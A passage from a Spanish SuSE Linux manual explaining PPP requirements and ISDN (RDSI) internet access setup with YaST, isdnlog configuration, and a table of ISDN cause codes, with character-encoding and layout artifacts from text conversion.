6.1.1 Requisitos para PPP
Los requisitos para el uso del protocolo PPP en SuSE Linux son:
o íEl kernel tiene que soportar TCP/IP y PPP! Este es el caso para el kernel
estßndar y los m≤dulos que proporcionamos, por lo tanto no es preciso
compilar un kernel propio.
o Los paquetes de red deben estar instalados; el paquete nkita y el paquete
nkitb, serie a son imprescindibles.
o El paquete ppp, serie n que contiene el daemon pppd y el programa chat .
o Si quiere usar un modem anal≤gico, se necesita paquete wvdial, serie n
para establecer y cortar la conexi≤n.
o Para configurar el acceso vφa RDSI consulte tambiΘn apartado 6.2.3 en la
pßgina 175Requisitossubsection.6.2.3.
o Tiene que conocer el login y la contrase±a del servidor PPP.
6.1.2 Informaci≤n adicional sobre PPP
PPP ofrece una multitud de posibilidades para configurar la conexi≤n; tantas,
que serφa demasiado presentarlas todas aquφ. Si necesita mßs opciones puede
consultar las respectivas + Manpages, p. ej. en la pßgina del manual de pppd
(man 8 pppd ); ademßs hay mucha informaci≤n detallada en los ficheros
NET4-3-HOWTO.gz (antes: NET-3-HOWTO.gz) y PPP-HOWTO.gz, que estßn
en el directorio /usr/doc/howto o en los ficheros de documentaci≤n en el
directorio /usr/doc/packages/ppp y /usr/doc/packages/wvdial.
En las siguientes referencias hay detalles sobre los protocolos utilizados por
PPP:
172
______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n___________________*
*______________________
o RFC1144: Jacobson, V. ''Compressing TCP/IP headers for low-speed
serial links.'' 1990 February;
o RFC1321: Rivest, R. ''The MD5 Message-Digest Algorithm.'' 1992
April;
o RFC1332: McGregor, G. ''PPP Internet Protocol Control Protocol
(IPCP).'' 1992 May;
o RFC1334: Lloyd, B. Simpson, W.A. ''PPP authentication protocols.''
1992 October;
o RFC1548: Simpson, W.A. ''The Point-to-Point Protocol (PPP).'' 1993
December;
o RFC1549: Simpson, W.A. ''PPP in HDLC Framing.'' 1993 December;
6.2 Acceso a Internet vφa RDSI ~ la configuraci≤n
Aparte de las conexiones de red ''ordinarias'', Linux puede tambiΘn estable-
cer y administrar conexiones con otras computadoras (p. ej. con proveedores
de Internet) vφa RDSI. Ademßs es muy fßcil configurarlo, porque YaST se
encarga de una buena parte de ello.
La descripci≤n expuesta a continuaci≤n, contempla una conexi≤n estßndar
con otra computadora vφa RDSI. Evidentemente es posible hacer mucho mßs
que esto con RDSI bajo Linux.
Considere la posibilidad de que los procedimientos expuestos no sean per-
mitidos seg·n las leyes de telecomunicaci≤n de su paφs. Este puede ser el
caso para tarjetas RDSI pasivas cuya autorizaci≤n estß vinculada al uso en
conjunto con el software del fabricante. Las tarjetas ELSA Microlink PCI
(antes Quickstep) y Eicon Diva 2.01 ~ representan una excepci≤n, ya que se
pueden usar tambiΘn bajo Linux. Las tarjetas activas se autorizan junto con
el firmware (el software que contiene la placa en ROM), lo que las autoriza
automßticamente para el uso bajo Linux. Si necesita esta autorizaci≤n tendrß
que usar una tarjeta activa o una pasiva conectada a una centralita.
En comparaci≤n a una conexi≤n con modem, no hace falta iniciar la comuni-
caci≤n con ning·n comando especial. Cuando la red estß activa, la conexi≤n
a la contraparte se inicia con una actividad normal como telnet , http WWW,
ftp etc.; en tal caso la computadora llama y la conexi≤n se establece; el pro-
ceso dura alrededor de 3 segundos. Asφ otros usuarios aparte del superusuario
`root', pueden establecer la comunicaci≤n, la cual termina automßticamente
despuΘs de un cierto tiempo de inactividad, configurable por parte del usuario.
Durante toda la configuraci≤n de RDSI se aconseja seguir los mensajes de
sistema en _el_ fichero__/var/log/messages. Para ello dirφjase a un xterm
(en KDE : |A____l|t+ |F___|2y despuΘs introduzca xterm ) o cualquier otra consola
virtual y cargue el fichero xterm en el ''Viewer'' less 2 :
tierra: # less +F /var/log/messages
Con la opci≤n +F la pantalla muestra cada nueva lφnea que se a±ade_al fichero_
''en lφnea''. Para salir se utiliza la combinaci≤n de teclas |C______|trl+ |c_ |.
Con xisdnload es posible visualizar y asφ controlar el ''trßfico'' RDSI.
2 ____________________________________________________
Las instrucciones sobre less se encuentran en el apartado 19.7.3 en la pßgina 474El contenido
de los ficherossubsection.19.7.3
*
* 173
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
6.2.1 Configurar RDSI ~ paso por paso
Este apartado explica paso a paso la forma de configurar el acceso a Internet.
Si este procedimiento no funcionara o si fueran necesarios mßs detalles sobre
el tema, se pueden consultar los apartados que figuran a continuaci≤n de Θste.
1. Inicie el programa _YaST_ como__usuario_ `root' ~ si se encuentra en el
entorno KDE: pulse |A____l|t+ |F___|2e introduzca despuΘs xterm . En la nueva
ventana se puede iniciar YaST .
2. Seleccione `Administraci≤n del sistema', `Configuraci≤n de
red' y despuΘs `Configuraci≤n bßsica de red'.
3. Debe generar un nuevo_ dispositivo (con |____|F5) del tipo ISDN SyncPPP .
Pulse `RETURN' o | ___F|6, para llegar al men· `Introduzca direcci≤n
de red'.
4. Mantenga los ajustes tal como estßn ~ la direcci≤n IP de la mßquina
local es 192.168.0.99 , la direcci≤n IP del compa±ero punto a pun-
to (contraparte) es 192.168.0.1 ~ y solo modifique la IP del gateway
(pasarela), indicando la misma IP como IP del compa±ero punto a punto
(192.168.0.1 ).
5. Contin·e la configuraci≤n con `Continuar'.
6. Active la tarjeta en el formulario `Selecci≤n de red' con |F___|_4.
7. Guarde todo con |F_____|10.
8. Ahora se contin·a con `Instalar hardware en el sistema' y de-
spuΘs `Configurar hardware RDSI'.
9. Rellene todos los campos en el formulario. Si no sabe exactamente quΘ
escribir, consulte la documentaci≤n en /usr/doc/packages/i4l y en
los apartados siguientes.
10. En la misma ventana seleccione `Iniciar'.
11. Si tiene Θxito (en pantalla aparece una confirmaci≤n), seleccione
Parßmetero RDSI .
12. Rellene tambiΘn el formulario que aparece ahora.
13. DespuΘs seleccione `Iniciar' en la ventana.
14. Si tiene Θxito (en pantalla aparece una confirmaci≤n), seleccione
`Guardar'.
15. Seleccione `Configuraci≤n DNS', y afirme la pregunta con `Sφ'.
16. Introduzca la direcci≤n IP del servidor de nombres (DNS) de su provee-
dor. Si no la conoce consulte el proveedor o tal vez la pueda encontrar en
la pßgina web del mismo.
17. Termine YaST e introduzca init 1 en la ventana del terminal. Si KDE
(y las ''X'') estßn en ejecuci≤n, el entorno grßfico se cierra.
18. Entre al sistema como superusuario `root'.
19. Si usa startx para iniciar X, entonces inicie los servicios de red con
init 2 . Si por el contrario tiene un ''login'' grßfico activado, use init 3 .
20. Ya puede iniciar p. ej. Netscape para navegar en Internet. TambiΘn puede
iniciar xisdnload para monitorizar el estado de la conexi≤n.
174
______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n__________________*
*_______________________
21. En el caso de algunos ISP es preciso indicar en Netscape el servidor Proxy
del proveedor:
En Netscape `Edit', `Preferences', `Advanced', `Proxies',
`Manual Proxy Configuration' y despuΘs `View'.
Ahora el acceso vφa RDSI deberφa funcionar y establecer asφ una conexi≤n a
Internet cada vez que se indique, p. ej. en Netscape, una direcci≤n de Inter-
net. El acceso finaliza transcurridos 60 segundos sin transferencia de ning·n
paquete de datos; controle el trßfico de red con xisdnload !
íSi este procedimiento no funcionara, contin·e leyendo!
6.2.2 Introducci≤n
SuSE Linux contiene el paquete isdn4linux, un paquete de programas com-
puesto por un driver, una interfaz de red y una emulaci≤n de modem (solo
modem digital). Ademßs se incluye software p. ej. para un contestador de
telΘfono.
El script /sbin/init.d/i4l_hardware carga el driver del hardware de la
tarjeta RDSI (ver capφtulo 17 en la pßgina 431El concepto de arranque de
SuSE Linux chapter.17).
La herramienta isdnctrl (pßgina del manual de isdnctrl (man isdnctrl ))
se encarga de configurar la conexi≤n RDSI. Los comandos ifconfig (pßgina
del manual de ifconfig (man ifconfig )) y route (pßgina del manual de
route (man route )) permiten configurar las interfaces de red disponibles,
al igual que las de una interfaz tipo Ethernet. En el caso de SuSE Linux el
que se encarga de ello es el script /sbin/init.d/i4l, (ver capφtulo 17 en
la pßgina 431El concepto de arranque de SuSE Linux chapter.17).
La base de esta configuraci≤n la forman los parßmetros anotados en /etc/
rc.config y la denominaci≤n de las variables apuntadas allφ, se orienta
seg·n lo posible, a la de las opciones de isdnctrl .
El script /sbin/init.d/route se encarga de configurar el ''routing'' de
acuerdo a los valores apuntados en /etc/route.conf.
La conexi≤n se establece ''seg·n necesidad'' con los parßmetros que se han
definido en isdnctrl , /sbin/init.d/i4l y /etc/rc.config. Estos se
pueden visualizar con:
tierra: # isdnctrl list all
''Seg·n necesidad'' quiere decir que, una de las ''rutas'' creadas accede a
la interfaz RDSI correspondiente. Cualquier usuario o cualquier aplicaci≤n
puede realizarlo.
6.2.3 Configuraci≤n del hardware RDSI
Requisitos
Para establecer una conexi≤n RDSI con SuSE Linux, se necesita lo siguiente:
1. una lφnea RDSI
2. una tarjeta RDSI soportada
*
* 175
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
3. SuSE Linux instalado en su computadora
4. el kernel estßndar del CD SuSE Linux instalado
________________________________________________________________________________________________________*
*________
| íNo hace falta que genere ning·n kernel propio, sin embargo, si lo quiere *
* |||
| *
* |||
| hacer, utilice para ello las fuentes del paquete lx_suse, serie d! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
5. el paquete kernmod, serie a
6. el paquete i4l, serie n
7. para documentaci≤n adicional es aconsejable que instale tambiΘn el pa-
quete i4ldoc, serie doc
Los datos que necesita para la instalaci≤n:
o Tipo de tarjeta RDSI
o Configuraci≤n de la tarjeta: IRQ, Direcci≤n de puerto, etc. (seg·n el tipo)
o El protocolo de RDSI, que puede utilizar:
~ 1TR6 : RDSI nacional (antiguo)
~ DSS1 : Euro-RDSI
________________________________________________________________________________________________________*
*________||
| Las centralitas grandes antiguas usan con frecuencia 1TR6 sobre S0 inter- *
* ||||
| no. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
┐Que significa el MSN/EAZ?
En caso del Euro-RDSI, el n·mero MSN (ingl. Multiple-Subscribe-Number)
es el n·mero de telΘfono sin el prefijo. Pidiendo una lφnea privada nueva, gen-
eralmente le asignan tres n·meros independientes. Puede elegir cualquiera de
estos n·meros para la conexi≤n RDSI de datos, tambiΘn aquella que ya se es-
tß usando para una conexi≤n telef≤nica. Esto funciona porque mediante el
reconocimiento del servicio RDSI se puede detectar el tipo de conexi≤n.
La tarjeta RDSI estß tφpicamente conectada a un NTBA, pero tambiΘn tiene
sentido poner a disposici≤n un bus adicional tipo S0 a travΘs de una centralita.
Usando Euro-RDSI con una centralita, el MSN es (generalmente) solo la
extensi≤n de la centralita o el n·mero 0 .
1TR6 usa en lugar del n·mero MSN un EAZ (en alemßn: ''EndgerΣte-
Auswahl-Ziffer'' = n·mero de selecci≤n del aparato final) El EAZ es un
n·mero cualquiera, elegible entre 1 y 9 . íEn caso de 1TR6 no use nunca
el 0 !
6.2.4 Configuraci≤n del hardware RDSI con YaST
No hace falta reiniciar la computadora para cargar el driver de la tarjeta RDSI,
ya que Θste se proporciona por un m≤dulo de kernel. El driver HiSax soporta
todas las tarjetas RDSI estßndar.
Hay un par de tarjetas, como p. ej. la de ICN o la de AVM-B1 tal como las
que son PnP (ingl. Plug and Play), que necesitan un tratamiento especial y
(a·n) no pueden ser configuradas con YaST . Para configurarlas consulte la
secci≤n correspondiente mßs abajo.
Proceda paso por paso:
176
______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n____________________*
*_____________________
1. Entre al sistema como usuario `root'
2. Inicie YaST
3. Seleccione el men· `Administraci≤n del sistema', `Instalar
hardware en el sistema', `Configurar hardware RDSI'. Esta
estructura de men· se ve en figura 6.1.
Figura 6.1: Estructura de men· para la configuraci≤n RDSI con YaST
4. Introduzca los siguientes parßmetros al formulario:
o Iniciar I4L
La RDSI solo se activa si este campo estß marcado con un asterisco.
Asφ puede habilitar y deshabilitar la posibilidad de establecer conex-
iones vφa RDSI.
o Protocolo RDSI
Seleccione entre el anticuado tipo RDSI 1TR6 (de uso en Alemania) o
el nuevo EDSS1, usual hoy en dφa. Tenga en cuenta que se sigue usan-
do muchas veces 1TR6 cuando se conecta a travΘs de una centralita.
o Tipo de tarjeta RDSI
Seleccione la tarjeta soportada por el driver HiSax. En caso de tarje-
tas PnP o PCMCIA, consulte el fichero /usr/doc/packages/i4l/
README.SuSE tal como el apartado 10.2.1 en la pßgina 288┐C≤mo ac-
tivar tarjetas PnP con isapnp ?subsection.10.2.1.
_______________________________________________________________________________________________________________________
|||||||| TΘngase en cuenta que no es permitido indicar una direcci≤n I/O (entrada || |
|||||||| || |
|||||||| y salida) o una interrupci≤n para tarjetas con bus PCI. || |
||||||||_______________________________________________________________________________________________________________||_
o Identificaci≤n de tarjeta
Dejarlo en el valor HiSax .
o Interrupci≤n
Direcci≤n de memoria base
Puerto IO
Valor IO0
Valor IO1
*
* 177
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
Seg·n el tipo de tarjeta seleccionada, se pueden necesitar indicaciones
adicionales y solo se pueden tomar aquellas que corresponden a la
tarjeta escogida, las demßs aparecen en gris y se ignoran.
o Opciones del m≤dulo RDSI
Dejar este campo vacφo.
Pulse |____|F1se consigue informaci≤n adicional. La pantalla de configu-
raci≤n de RDSI se ve en Figura 6.2.
Figura 6.2: Cuadro de dißlogo para la configuraci≤n RDSI con YaST
5. Seleccione `Iniciar'.
┐Por quΘ?: El m≤dulo se carga en modo de prueba y la ventana indica si
la tarjeta fue reconocida correctamente.
Si estß BIEN: Seleccione el bot≤n `Guardar'.
La configuraci≤n se guarda en los ficheros /etc/rc.config.d/i4l_
*, asφ que puede activarla nuevamente despuΘs del pr≤ximo arranque
o cambio de nivel de ejecuci≤n. DespuΘs de esta prueba el m≤dulo se
mantiene cargado.
Si esta MAL: Pruebe otros parßmetros y vigile los cambios en el fichero
/var/log/messages.
Los problemas tφpicos son:
o Algunas placas madre no permiten usar las interrupciones IRQ 12 o
15.
o Las direcciones de memoria o las interrupciones ya estßn ocupadas
por otras tarjetas. Quite todas las tarjetas que no necesite por el
momento (p. ej. tarjetas de sonido o de red).
o El m≤dulo ya estß cargado. Cambie a otra consola e introduzca el
siguiente comando para descargar el m≤dulo:
tierra: # rmmod hisax
o Su tarjeta es del tipo PnP; en este caso consulte el fichero /usr/
doc/packages/i4l/README.SuSE
178
______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n____________________*
*_____________________
o El driver HiSax no soporta su tarjeta, que puede ser p. ej. del
tipo ICN o AVM-B1. En tal caso consulte el fichero /usr/doc/
packages/i4l/README.SuSE.
6. Salga de YaST .
7. Configuraci≤n de isdnlog
Antes de cargar los m≤dulos es recomendable configurar isdnlog , que
se encarga de protocolar todas las actividades en el S0-bus.
Adapte los siguientes ficheros a sus necesidades:
o /etc/isdn/isdn.conf:
El primer pßrrafo especifica el paφs donde se va a usar isdn4linux.
Para Espa±a se definen los valores como se ha expuesto en el
fichero 6.2.1 (numeraci≤n antigua con prefijos).
_______________________________________________________________________________________________________________________||
|||||||| # /etc/isdn/isdn.conf |
|||||||| |
|||||||| |
|||||||| |
|||||||| [GLOBAL] |
|||||||| |
|||||||| COUNTRYPREFIX = + |
|||||||| COUNTRYCODE = 34 |
|||||||| AREAPREFIX = 9 |
||||||||_______________________________________________________________________________________________________________ |
Fichero 6.2.1: Extracto de /etc/isdn/isdn.conf
El pßrrafo GLOBAL contiene tambiΘn el AREACODE (prefijo) sin
el n·mero 9 por delante. Si su prefijo es p. ej. 93 , coloque
AREACODE = 3.
Esta es la ·nica parte que se debe adaptar (en Espa±a).
Con CHARGEMAX = 20.00 se puede determinar el gasto telef≤nico
mßximo en un dφa, en marcos alemanes. Esto protege de conexiones
no deseadas, pero mejor no fiarse de esta caracterφstica automßtica!
o /etc/isdn/callerid.conf:
Aquφ puede apuntar todos los n·meros de telΘfono conocidos. El
fichero /var/log/messages y el comando isdnrep le indican en-
tonces los nombres en lugar de los n·meros de telΘfono. DΘjese guiar
por el ejemplo en el fichero 6.2.2 en la pßgina siguiente; su n·mero es
4711 y la de su proveedor 4712 .
o /etc/isdn/isdnlog.isdnctrl0.options:
Este fichero contiene las opciones para el comando isdnlog . Gen-
eralmente no se necesitan.
8. Para reiniciar los servicios de red (entre otros), se introducen los coman-
dos
tierra: # init 1
tierra: # init 2
o se activa nuevamente RDSI con YaST (tambiΘn se puede reiniciar la
computadora).
*
* 179
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||||
| # /etc/isdn/callerid.conf *
* |
|| *
* ||
| [MSN] *
* |
| NUMBER = 4711 *
* |
| *
* |
| SI = 1 *
* |
| ALIAS = yo *
* |
| *
* |
| ZONE = 1 *
* |
| *
* |
| *
* |
| [MSN] *
* |
| NUMBER = 4712 *
* |
| *
* |
| SI = 1 *
* |
| ALIAS = proveedor *
* |
| ZONE = 1 *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 6.2.2: /etc/isdn/callerid.conf
6.2.5 Configuraci≤n de acceso a Internet vφa RDSI
Configuraci≤n RDSI para el acceso al proveedor
La selecci≤n del protocolo
Para el acceso vφa RDSI existen tres protocolos importantes:
o syncPPP
o rawip-HDLC
o Login de terminal con X.75
Normalmente los proveedores de Internet ofrecen syncPPP como protocolo,
asφ que lo mejor es configurar con Θste mismo.
Requisitos
o La configuraci≤n del hardware RDSI debe funcionar.
o El driver de RDSI debe estar cargado.
o Conocer el n·mero MSN o EAZ que usa su lφnea.
o Conocer el protocolo que usa su proveedor (rawip o syncPPP ).
o Conocer el n·mero de telΘfono para realizar el acceso.
o Conocer el nombre de usuario y la contrase±a de acceso.
o Conocer el servidor de nombres (DNS) del proveedor.
Si realmente se conocen todos los detalles mencionados arriba, se podrß con-
figurar el acceso a Internet exitosamente.
La configuraci≤n del hardware RDSI ha funcionado y el driver de RDSI estß
cargado. Aparte de esto se debe conocer el n·mero MSN o EAZ que usa la
lφnea.
El ejemplo expuesto cubre solo el acceso con syncPPP . rawip es prßctica-
mente lo mismo e incluso mßs sencillo.
Seguiremos paso a paso:
180
______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n____________________*
*_____________________
Figura 6.3: Configuraci≤n de red con YaST
1. Inicie YaST y entre al men· `Administraci≤n del sistema', `Con-
figuraci≤n de red', `Configuraci≤n bßsica de red'. Apare-
cerß el formulario que se ve en la figura 6.3.
2. Seleccione una lφnea libre, p. ej. n·mero 1 .
3. Pulsando |F___|_5seleccione como dispositivo `ISDN SyncPPP'.
4. Pulse |F___|_6(`IP') e introduzca:
o Direcci≤n IP de la mßquina (tarjeta RDSI): 192.168.0.99
o Solo marque la casilla `Direcci≤n IP dinßmica', si el proveedor
la asigna ''dinßmicamente'' en cada conexi≤n.
o Direcci≤n IP del Default-Gateway: 192.168.0.1 (pasarela por defec-
to)
o IP de la contraparte punto a punto: 192.168.0.1
5. Seleccione `Continuar' para salir de la pantalla.
6. Active la red con |F___|_4, si no lo ha hecho ya.
7. Pulse | ____|F8(`ISDN' = RDSI) le permite indicar parßmetros adicionales,
especφficos de RDSI. La pantalla correspondiente se ve en la figura 6.4 en
la pßgina siguiente.
Indique los siguientes valores:
o Su n·mero de telΘfono (MSN)
p. ej. 123456
o N·mero a marcar: 012345678
Es el n·mero que debe marcar la computadora. 012345678 es el
n·mero del proveedor de Internet
_______________________________________________________________________________________________________________________||
|||||||| Si utiliza una centralita es posible que tenga que marcar primero el 0. ||| |
|||||||| Ademßs hay que considerar que los n·mero separados por un espacio se || |
|||||||| || |
|||||||| tratan como dos n·meros de telΘfono diferentes. || |
||||||||_______________________________________________________________________________________________________________||_
*
* 181
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
Figura 6.4: Configuraci≤n de los parßmetros de red RDSI con YaST
o N·meros a los que se permite llamar:
Los n·meros de telΘfono autorizados a llamar. Solo se necesita para
servidores ''Dialin''.
o Solo se permiten n·meros indicados:
Afirme esta opci≤n para que nadie pueda establecer una conexi≤n no
autorizada a su servidor.
o Modo de llamada: Activando la opci≤n auto se establece automßti-
camente una conexi≤n cuando se trata de acceder a direcciones que
solo pueden ser alcanzados a travΘs de la interfaz RDSI. Con la opci≤n
manual hay que establecer las conexiones a mano cuando sea preciso.
Con off se desactiva la posibilidad de conectar mediante esta interfaz
RDSI.
o Tiempo muerto:
El tiempo de inactividad de la lφnea (no se transmiten paquetes IP) que
la computadora espera hasta que cuelga automßticamente.
o Nombre del login PPP:
Introduzca el nombre de usuario para su proveedor.
o Password del login PPP:
Introduzca la contrase±a para su proveedor. Cuando se escribe la con-
trase±a, Θsta se muestra en pantalla con asteriscos y se guarda en el
fichero /etc/ppp/pap-secrets.
Puede obtener mßs ayuda pulsando |F___|_1.
8. Seleccione el bot≤n `Iniciar'. La red se configura a modo de prueba y
se puede observar en la ventana si funciona. Generalmente en este paso
no se presentan problemas.
Si estß BIEN: Seleccione el bot≤n `Guardar'.
La configuraci≤n se guarda en los ficheros /etc/rc.config.d/i4l_
* asφ que se puede activar nuevamente despuΘs del pr≤ximo arranque o
182
______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n____________________*
*_____________________
cambio de nivel de ejecuci≤n. DespuΘs de esta prueba la configuraci≤n
se mantiene.
Si esta MAL: Probablemente los m≤dulos RDSI no estßn carga-
dos. TambiΘn se deben tener en cuenta los mensajes del fichero
/var/log/messages.
9. En YaST entre al men· `Configuraci≤n DNS' y afirme la primera pre-
gunta. Introduzca despuΘs el n·mero IP del servidor de nombres (DNS)
de su proveedor. Si no conoce este n·mero tendrß que consultar al provee-
dor. Otra posibilidad serφa pedir a alguiΘn, que ya tenga una mßquina Lin-
ux conectada a Internet, que le informe sobre el resultado del siguiente
comando, introducido en una ventana de terminal (el ejemplo es de un
proveedor alemßn):
whois t-online.de
Con esto se obtiene una respuesta que contiene, entre otras, las lφneas que
figuran en la salida en pantalla 6.2.1.
_______________________________________________________________________________________________________________________||
|||||||| domain: t-online.de |
|||||||| |
|||||||| descr: Deutsche Telekom AG, Telekom Online-Dienste |
|||||||| descr: Generaldirektion, GK361 |
|||||||| descr: Postfach 2000 |
|||||||| |
|||||||| descr: D-53105 Bonn |
|||||||| descr: Germany |
|||||||| |
|||||||| admin-c: KHS252-RIPE |
|||||||| tech-c: JS691-RIPE |
|||||||| |
|||||||| zone-c: FS340-RIPE |
|||||||| nserver: dns00.btx.dtag.de |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 6.2.1: Resultado de: whois t-online.de
La lφnea nserver: indica el servidor de nombres del proveedor. Si se
conoce este nombre, solo harφa falta el n·mero IP del mismo; para obten-
erlo use el comando:
host dns00.btx.dtag.de
Aparece entonces una respuesta como la de la salida en pantalla 6.2.2.
_______________________________________________________________________________________________________________________
|||||||| dns00.btx.dtag.de has address 194.25.2.129 |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 6.2.2: Salida en pantalla de host
En Θsta (194.25.2.129 ) es el n·mero IP del servidor de nombres de
T-Online.
Si no puede establecer la conexi≤n:
o Repase /var/log/messages en busca de mensajes ''sospechosos'';
Los mensajes de estado del sistema RDSI (p. ej. E001f ) se explican en
el apartado 6.2.6 en la pßgina siguiente.
o Pruebe la conecci≤n vφa rawip .
o ┐Tiene el n·mero MSN/EAZ correcto?
*
* 183
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
o ┐Serß que se debe marcar un 0 por delante?
El banco de datos de soporte tiene mßs consejos; se encuentra en Internet,
en nuestro servidor web, bajo la URL http://sdb.suse.de/sdb/de/
html/ . TambiΘn puede acceder a Θl con la ayuda de SuSE (se inicia
con el comando susehelp o con la opci≤n correspondiente del men·
en el sistema X Window) directamente en su computadora, si el paquete
susehilf, serie doc y el paquete sdb_en, serie doc estßn instalados.
10. Si la conexi≤n funciona (lo que esperamos), cambie otra vez a la consola
en la que se estß ejecutando YaST , pulse el bot≤n `Guardar' y finalice
YaST .
IP dinßmico con syncPPP
Si las direcciones IP se asignan dinßmicamente, las direcciones indicadas para
el ßrea privada solo sirven de relleno hasta el momento en que se establece la
conexi≤n.
Informaci≤n adicional
Para obtener mßs informaci≤n sobre la configuraci≤n de una conexi≤n RDSI y
sobre la configuraci≤n del sub-sistema RDSI, consulte las siguientes fuentes:
o El fichero /usr/doc/packages/i4l/README.SuSE
o El banco de datos del soporte: http://sdb.suse.de/sdb/de/html/
o En el paquete i4ldoc (p. ej. el FAQ de RDSI en el fichero: /usr/doc/
packages/i4ldoc/i4l-faq)
o /usr/doc/inetcfg (paquete inetcfg)
6.2.6 Mensaje RDSI
Desafortunadamente los mensajes del tipo ''Cause'' (causa) que da el sub-
sistema RDSI son en inglΘs y no siempre muy claros, por lo tanto aquφ le
ofrecemos la traducci≤n al castellano.
Un mensaje de causa (error) tφpico de HiSaX se compone de 2 partes,
location y cause code . En caso del Euro-RDSI, son 5 cifras del tipo
Exxyy , donde xx especifica el origen del mensaje de error (aquφ no se ex-
plica), e yy que indica la causa del mensaje. HiSaX siempre indica un
valor hexadecimal. Hay determinados mensajes que no representan ning·n
error, sino que forman parte del comportamiento normal de las conexiones
telef≤nicas (''ocupado'', ''conexi≤n terminada por colgar'').
184
______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n___________________*
*______________________
A continuaci≤n vienen las explicaciones de las distintas causas que pro-
ducen un mensaje (''Causes''); con la autorizaci≤n de: Institut fⁿr Elektro-
nische Systeme und Vermittlungstechnik der UniversitΣt Dortmund: http:
//www-esv.e-technik.uni-dortmund.de. Tenga en cuenta que HiSaX
indica los valores en hexadecimal.
______________________________________________________________________________________________________________________
Cause# dec/hex Descripci≤n
Grupo 0/1: Causas normales
#1 01 El n·mero marcado es completo y puede ser interpre-
tado por la red, pero actualmente no se puede asignar
ning·n abonado.
#2 02 El dispositivo que genera el error no reconoce la red
de trßnsito. Esto puede ocurrir porque la red de trßn-
sito deseada no existe o porque no acepta el servicio
solicitado.
#3 03 No se encontr≤ ninguna ruta hacia el abonado ya que
Θste probablemente no esta dado de alta en la red
elegida sino en otra.
#6 06 El abonado llamado no puede utilizar el canal solici-
tado.
#7 07 El abonado llamado rechaz≤ la llamada, ya que el
canal solicitado estaba ocupado (canal virtual, X.31
o X.25).
#16 10 Uno de los abondados que paticipan en la llamada ha
colgado.
#17 11 El abonado llamado estß comunicando y no puede
responder a una llamada adicional.
#18 12 La llamada entr≤, pero la solicitud de establecimiento
de llamada SETUP no se concedi≤ dentro del tiempo
previsto.
#19 13 Aunque el aparato del abonado recibe la llamada, el
abonado no la contesta; p. ej. el telΘfono suena en una
casa vacφa.
#21 15 El abonado llamado rechaz≤ explφcitamente la llama-
da.
#22 16 La central telef≤nica del destino puede enviar este
mensaje cuando el n·mero del abonado ha cambiado.
#26 1A No fue posible indicar la llamada al abonado .
#27 1B La interfaz del abonado llamado estß fuera se servi-
cio.
#28 1C El n·mero marcado no es vßlido o no puede ser in-
terpretado por la red.
#29 1D La red no puede prestar cierto servicio que se ha so-
licitado junto con la llamada.
______________________________________________________________________________________________________________________
Tabla 6.1: Contin·a en la pßgina siguiente ...
*
* 185
6. Conectarse con_el_mundo_~_RDSI,_PPP,_Fax._._.__________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
#30 1E Indica que el mensaje STATUS fue enviado en re-
spuesta a una solicitud de estado, STATUS EN-
QUIRY.
#31 1F Si no hay ninguna causa del grupo Normal que se
pueda aplicar, se indica Θsta misma.
Grupo 2: Recursos no disponibles
#34 22 Todos los canales B (canales de voz) o todos los
canales virtuales (X.25) de la central telef≤nica estßn
ocupados.
#38 26 La red de comunicaci≤n estß fuera de servicio y lo
seguirß estando por alg·n tiempo mßs.
#41 29 La central de conmutaci≤n sufre un error temporal,
por lo tanto tiene sentido repetir el intento de es-
tablecimiento de llamada.
#42 2A La central telef≤nica que envφa esta causa, actual-
mente no tiene ning·n canal disponible, por sobre-
carga.
#43 2B La informaci≤n de acceso enviada por el solicitante
de la llamada (p. ej. contrase±a en el elemento UTU,
datos LLC o HLC) no se pudo pasar al abonado lla-
mado.
#44 2C La interfaz del abonado llamado no puede ofrecer el
canal solicitado.
#47 2F Si hay alg·n recurso no disponible, que no
se puede explicar con alguna causa del grupo
Recursos no disponibles , se envφa esta raz≤n
como causa.
Grupo 3: Servicio u opci≤n no disponible
#49 31 No es posible cumplir la caracterφstica de calidad
(tasa de transferencia o dilaci≤n) seg·n X.213.
#50 32 El usuario no tiene permiso para acceder al servicio
solicitado, ya que no esta dado de alta como usuario.
#57 39 El usuario no tiene permiso para usar el servicio so-
licitado en la instalaci≤n de origen.
#58 3A El servicio solicitado no estß disponible actualmente.
#59 3B Se indica un servicio o una opci≤n no disponible que
no estß cubierta por las razones anteriormente men-
cionadas.
Grupo 4: Servicio u opci≤n no implementada
_______________________________________________________________________________________________________*
*_________
Tabla 6.1: Contin·a en la pßgina siguiente ...
186
______________________________________________________6.2.__Acceso_a_Internet_vφa_RDSI_~_la_configuraci≤n________________________*
*_________________
______________________________________________________________________________________________________________________
#65 41 El dispositivo emisor no es capaz de proporcionar la
propiedad bearer capabiltiy solicitada.
#66 42 El tipo de canal solicitado no estß disponible.
#69 45 La propiedad del servicio solicitado no estß imple-
mentada.
#70 46 El usuario solicit≤ la transferencia ilimitada de in-
formaci≤n digital, sin embargo solo se permite una
transferencia limitada.
